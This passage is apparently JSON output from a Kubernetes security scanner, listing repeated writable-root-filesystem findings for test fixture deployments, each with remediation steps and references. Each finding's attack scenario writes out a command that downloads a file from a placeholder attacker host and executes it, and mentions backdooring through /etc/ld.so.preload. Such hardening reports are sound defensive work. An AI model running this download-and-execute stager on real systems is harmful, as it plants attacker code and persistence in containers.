    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:psa-unlabeled-fixtures:psa-unlabeled-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`",
    "description": "Container `app` in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-unlabeled-app",
      "namespace": "psa-unlabeled-fixtures",
      "api_group": "apps"
    },
    "namespace": "psa-unlabeled-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/psa-unlabeled-app -n psa-unlabeled-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:rbac-fixtures:imp-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/rbac-fixtures/imp-app`",
    "description": "Container `app` in `Deployment/rbac-fixtures/imp-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "imp-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/imp-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/imp-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:rbac-fixtures:wildcard-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/rbac-fixtures/wildcard-app`",
    "description": "Container `app` in `Deployment/rbac-fixtures/wildcard-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "wildcard-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/wildcard-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/wildcard-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:statusspoof-fixtures:statusspoof-api:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/statusspoof-fixtures/statusspoof-api`",
    "description": "Container `app` in `Deployment/statusspoof-fixtures/statusspoof-api` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "statusspoof-api",
      "namespace": "statusspoof-fixtures",
      "api_group": "apps"
    },
    "namespace": "statusspoof-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/statusspoof-fixtures/statusspoof-api`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/statusspoof-api -n statusspoof-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:vulnerable:generic-hostpath-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/vulnerable/generic-hostpath-app`",
    "description": "Container `app` in `Deployment/vulnerable/generic-hostpath-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/generic-hostpath-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/generic-hostpath-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:vulnerable:host-ns-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/vulnerable/host-ns-app`",
    "description": "Container `app` in `Deployment/vulnerable/host-ns-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/host-ns-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
